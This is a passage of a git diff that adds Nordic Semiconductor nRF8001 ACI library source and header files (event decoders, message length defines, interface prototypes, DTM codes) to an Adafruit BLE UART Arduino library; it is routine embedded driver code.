OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB) << 8; + p_aci_evt_params_connected->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB); + p_aci_evt_params_connected->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_aci_evt_params_connected->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB); + p_aci_evt_params_connected->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB) << 8; + p_aci_evt_params_connected->conn_rf_timeout |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB); + p_aci_evt_params_connected->master_clock_accuracy = (aci_clock_accuracy_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY); + +} + +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing) +{ + p_evt_params_timing->conn_rf_interval = *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB) << 8; + p_evt_params_timing->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB); + p_evt_params_timing->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_evt_params_timing->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB); + p_evt_params_timing->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB) << 8; + p_evt_params_timing->conn_rf_timeout |= *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB); +} + +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error) +{ + //volatile uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA) + 1; + p_evt_params_pipe_error->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER); + p_evt_params_pipe_error->error_code = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE); + p_evt_params_pipe_error->params.error_data.content[0] = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA + OFFSET_ERROR_DATA_T_CONTENT); +} + +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request) +{ + p_evt_params_key_request->key_type = (aci_key_type_t)*(buffer_in + OFFSET_ACI_EVT_T_KEY_REQUEST + OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE); +} + +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *aci_evt_params_echo) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - 1; + memcpy(&aci_evt_params_echo->echo_data[0], (buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE + 1), size); + return size; +} + +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey) +{ + p_aci_evt_params_display_passkey->passkey[0] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 0); + p_aci_evt_params_display_passkey->passkey[1] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 1); + p_aci_evt_params_display_passkey->passkey[2] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 2); + p_aci_evt_params_display_passkey->passkey[3] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 3); + p_aci_evt_params_display_passkey->passkey[4] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 4); + p_aci_evt_params_display_passkey->passkey[5] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 5); +} + +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt) +{ + bool ret_val = true; + + p_aci_evt->len = ACIL_DECODE_EVT_GET_LENGTH(buffer_in); + p_aci_evt->evt_opcode = (aci_evt_opcode_t)ACIL_DECODE_EVT_GET_OPCODE(buffer_in); + + switch(p_aci_evt->evt_opcode) + { + case ACI_EVT_DEVICE_STARTED: + acil_decode_evt_device_started(buffer_in, &(p_aci_evt->params.device_started)); + break; + case ACI_EVT_HW_ERROR: + acil_decode_evt_hw_error(buffer_in, &(p_aci_evt->params.hw_error)); + break; + case ACI_EVT_CMD_RSP: + acil_decode_evt_command_response(buffer_in, &(p_aci_evt->params.cmd_rsp)); + break; + case ACI_EVT_DATA_CREDIT: + acil_decode_evt_credit(buffer_in, &(p_aci_evt->params.data_credit)); + break; + case ACI_EVT_CONNECTED: + acil_decode_evt_connected(buffer_in, &(p_aci_evt->params.connected)); + break; + case ACI_EVT_PIPE_STATUS: + acil_decode_evt_pipe_status(buffer_in, &(p_aci_evt->params.pipe_status)); + break; + case ACI_EVT_DISCONNECTED: + acil_decode_evt_disconnected(buffer_in, &(p_aci_evt->params.disconnected)); + break; + case ACI_EVT_BOND_STATUS: + acil_decode_evt_bond_status(buffer_in, &(p_aci_evt->params.bond_status)); + break; + case ACI_EVT_TIMING: + acil_decode_evt_timing(buffer_in, &(p_aci_evt->params.timing)); + break; + case ACI_EVT_DATA_ACK: + acil_decode_evt_data_ack(buffer_in, &(p_aci_evt->params.data_ack)); + break; + case ACI_EVT_DATA_RECEIVED: + acil_decode_evt_data_received(buffer_in, &(p_aci_evt->params.data_received)); + break; + case ACI_EVT_PIPE_ERROR: + acil_decode_evt_pipe_error(buffer_in, &(p_aci_evt->params.pipe_error)); + break; + case ACI_EVT_KEY_REQUEST: + acil_decode_evt_key_request(buffer_in, &(p_aci_evt->params.key_request)); + break; + case ACI_EVT_DISPLAY_PASSKEY: + acil_decode_evt_display_passkey(buffer_in, &(p_aci_evt->params.display_passkey)); + break; + default: + ret_val = false; + break; + } + return ret_val; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h new file mode 100755 index 0000000..363879b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h @@ -0,0 +1,53 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef _acilib_H_ +#define _acilib_H_ + +#define MSG_SET_LOCAL_DATA_BASE_LEN 2 +#define MSG_CONNECT_LEN 5 +#define MSG_BOND_LEN 5 +#define MSG_DISCONNECT_LEN 2 +#define MSG_BASEBAND_RESET_LEN 1 +#define MSG_WAKEUP_LEN 1 +#define MSG_SET_RADIO_TX_POWER_LEN 2 +#define MSG_GET_DEVICE_ADDR_LEN 1 +#define MSG_SEND_DATA_BASE_LEN 2 +#define MSG_DATA_REQUEST_LEN 2 +#define MSG_OPEN_REMOTE_PIPE_LEN 2 +#define MSG_CLOSE_REMOTE_PIPE_LEN 2 +#define MSG_DTM_CMD 3 +#define MSG_WRITE_DYNAMIC_DATA_BASE_LEN 2 +#define MSG_SETUP_CMD_BASE_LEN 1 +#define MSG_ECHO_MSG_CMD_BASE_LEN 1 +#define MSG_CHANGE_TIMING_LEN 9 +#define MSG_SET_APP_LATENCY_LEN 4 +#define MSG_CHANGE_TIMING_LEN_GAP_PPCP 1 +#define MSG_DIRECT_CONNECT_LEN 1 +#define MSG_SET_KEY_REJECT_LEN 2 +#define MSG_SET_KEY_PASSKEY_LEN 8 +#define MSG_SET_KEY_OOB_LEN 18 +#define MSG_ACK_LEN 2 +#define MSG_NACK_LEN 3 +#define MSG_BROADCAST_LEN 5 +#define MSG_OPEN_ADV_PIPES_LEN 9 + +#endif /* _acilib_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h new file mode 100755 index 0000000..35845d4 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h @@ -0,0 +1,29 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Definitions for the acilib interfaces + */ + +#ifndef _acilib_DEFS_H_ +#define _acilib_DEFS_H_ + +#define ACIL_DECODE_EVT_GET_LENGTH(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_LEN)) + +#define ACIL_DECODE_EVT_GET_OPCODE(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE)) + +#endif /* _acilib_DEFS_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h new file mode 100755 index 0000000..c87cb00 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h @@ -0,0 +1,463 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Prototypes for the acilib interfaces. + */ + +#ifndef _acilib_IF_H_ +#define _acilib_IF_H_ + +/** @brief Encode the ACI message for set test mode command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] test_mode Pointer to the test mode in ::aci_cmd_params_test_t + * + * @return None + */ +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test); + +/** @brief Encode the ACI message for sleep command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_sleep(uint8_t *buffer); + +/** @brief Encode the ACI message for get device version + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_device_version(uint8_t *buffer); + +/** @brief Encode the ACI message for set local data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_local_data Pointer to the local data parameters in ::aci_cmd_params_set_local_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size); + +/** @brief Encode the ACI message to connect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_connect Pointer to the run parameters in ::aci_cmd_params_connect_t + * + * @return None + */ +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect); + +/** @brief Encode the ACI message to bond + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_bond Pointer to the run parameters in ::aci_cmd_params_bond_t + * + * @return None + */ +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond); + +/** @brief Encode the ACI message to disconnect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_disconnect Pointer to the run parameters in ::aci_cmd_params_disconnect_t + * + * @return None + */ +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect); + +/** @brief Encode the ACI message to baseband reset + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_baseband_reset(uint8_t *buffer); + + /** @brief Encode the ACI message for Directed Advertising + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_direct_connect(uint8_t *buffer); + +/** @brief Encode the ACI message to wakeup + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_wakeup(uint8_t *buffer); + +/** @brief Encode the ACI message for set radio Tx power + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_tx_power Pointer to the set Tx power parameters in ::aci_cmd_params_set_tx_power_t + * + * @return None + */ +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power); + +/** @brief Encode the ACI message for get device address + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_address(uint8_t *buffer); + +/** @brief Encode the ACI message for send data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_send_data_t Pointer to the data parameters in ::aci_cmd_params_send_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size); + +/** @brief Encode the ACI message for request data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_request_data Pointer to the request data parameters in ::aci_cmd_params_request_data_t + * + * @return None + */ +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data); + +/** @brief Encode the ACI message for open remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_open_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_open_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe); + +/** @brief Encode the ACI message for close remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_close_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_close_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe); + +/** @brief Encode the ACI message for echo message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_echo Pointer to the dynamic data parameters in ::aci_cmd_params_echo_t + * @param[in] msg_size Size of the message + * + * @return None + */ +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size); + +/** @brief Encode the ACI message to battery level + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_battery_level(uint8_t *buffer); + +/** @brief Encode the ACI message to temparature + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_temparature(uint8_t *buffer); + +/** @brief Encode the ACI message to read dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer); + +/** @brief Encode the ACI message to change timing request + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing); + +/** @brief Encode the ACI message to change timing request using the timing parameters from GAP PPCP + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer); + + +/** @brief Encode the ACI message for write dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] seq_no Sequence number of the dynamic data (as received in the response to @c Read Dynamic Data) + * @param[in] dynamic_data Pointer to the dynamic data + * @param[in] dynamic_data_size Size of dynamic data + * + * @return None + */ +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size); + +/** @brief Encode the ACI message to send data acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the ack is to be sent + * + * @return None + */ +void acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number); + +/** @brief Encode the ACI message to send negative acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the nack is to be sent + * @param[in] error_code Error code that has to be sent in the NACK + * + * @return None + */ +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number,const uint8_t error_code); + +/** @brief Encode the ACI message to set the application latency + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_app_latency Pointer to the set_application_latency command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency); + +/** @brief Encode the ACI message for setup + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the setup data in ::aci_cmd_params_setup_t + * @param[in] setup_data_size Size of setup message + * + * @return None + */ +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size); + +/** @brief Encode the ACI message for DTM command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the DTM command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd); + +/** @brief Encode the ACI message for Set Key Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key); + +/** @brief Encode the ACI message for Bond Security Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_bond_security_request(uint8_t *buffer); + +/** @brief Encode the ACI message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_t + * @param[in] bool + * + * @return bool true, if succesful, else returns false + */ +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd); + +/** @brief Encode the ACI message for Broadcast command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_broadcast_t + * + * @return None + */ +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast); + +/** @brief Encode the ACI message for Open Adv Pipes + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_open_adv_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_set_adv_svc_data); + +/** @brief Decode the ACI event command response + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer Pointer to the decoded message in ::aci_evt_params_cmd_rsp_t + * + * @return None + */ +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp); + +/** @brief Decode the ACI event device started + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_device_started_t + * + * @return None + */ +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started); + +/** @brief Decode the ACI event pipe status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_pipe_status Pointer to the decoded message in ::aci_evt_params_pipe_status_t + * + * @return None + */ +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status); + +/** @brief Decode the ACI event for disconnected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_disconnected Pointer to the decoded message in ::aci_evt_params_disconnected_t + * + * @return None + */ +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected); + +/** @brief Decode the ACI event for bond status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_bond_status Pointer to the decoded message in ::aci_evt_params_bond_status_t + * + * @return None + */ +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status); + +/** @brief Decode the ACI event for data received + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_received Pointer to the decoded message in ::aci_evt_params_data_received_t + * + * @return size Received data size + */ +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received); + +/** @brief Decode the ACI event data acknowledgement + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_ack Pointer to the decoded message in ::aci_evt_params_data_ack_t + * + * @return None + */ +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack); + +/** @brief Decode the ACI event for hardware error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_hw_error Pointer to the decoded message in ::aci_evt_params_hw_error_t + * + * @return size Size of debug information + */ +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error); + +/** @brief Decode the ACI event data credit + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_credit Pointer to the decoded message in ::aci_evt_params_data_credit_t + * + * @return None + */ +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit); + +/** @brief Decode the ACI event for connected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_connected Pointer to the decoded message in ::aci_evt_params_connected_t + * + * @return None + */ +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected); + +/** @brief Decode the ACI event for timing + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_timing Pointer to the decoded message in ::aci_evt_params_timing_t + * + * @return None + */ +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing); + +/** @brief Decode the ACI event for pipe error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_pipe_error Pointer to the decoded message in ::aci_evt_params_pipe_error_t + * + */ +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error); + +/** @brief Decode the ACI event for key request + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_key_type Pointer to the decoded message in ::aci_evt_params_key_type_t + * + * @return None + */ +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request); + +/** @brief Decode the ACI event for echo + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer_out Pointer to the echo message (max size of buffer ::ACI_ECHO_DATA_MAX_LEN) + * + * @return size Received echo message size + */ +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *buffer_out); + +/** @brief Decode the ACI event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_t + * + * @return bool true, if succesful, else returns false + */ +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt); + +/** @brief Decode the Display Key Event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_display_passkey_t + * + * @return None + */ +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey); + +#endif /* _acilib_IF_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h new file mode 100755 index 0000000..02d1256 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h @@ -0,0 +1,25 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Type used in the acilib interfaces + */ + +#ifndef _acilib_TYPES_H_ +#define _acilib_TYPES_H_ + +#endif /* _acilib_TYPES_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h new file mode 100755 index 0000000..40d3e26 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h @@ -0,0 +1,22 @@ +#ifndef BLE_SYSTEM_H_ +#define BLE_SYSTEM_H + +/* +#define HAL_IO_RADIO_CSN SS +#define HAL_IO_RADIO_REQN SS +#define HAL_IO_RADIO_RDY 3 +#define HAL_IO_RADIO_SCK SCK +#define HAL_IO_RADIO_MOSI MOSI +#define HAL_IO_RADIO_MISO MISO +#define HAL_IO_RADIO_RESET 9 +#define HAL_IO_RADIO_ACTIVE 8 + +//#define HAL_IO_LED0 2 +//#define HAL_IO_LED1 6 +*/ + +#define ENABLE_INTERRUPTS() sei() +#define DISABLE_INTERRUPTS() cli() +#define ARE_INTERRUPTS_ENABLED() ((SREG & 0x80) == 0x80) + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h new file mode 100755 index 0000000..bb24cad --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef DTM_H__ +#define DTM_H__ + +/** @brief DTM command codes (upper two bits in the DTM command), use a bitwise OR with the frequency N = 0x00 – 0x27: N = (F-2402)/2 Frequency Range 2402 MHz +to 2480 MHz*/ +#define DTM_LE_CMD_RESET 0x00 +#define DTM_LE_CMD_RECEIVER_TEST 0x40 +#define DTM_LE_CMD_TRANSMITTER_TEST 0x80 +#define DTM_LE_CMD_TEST_END 0xC0 + + +/** @brief Defined packet types for DTM */ +#define DTM_LE_PKT_PRBS9 0x00 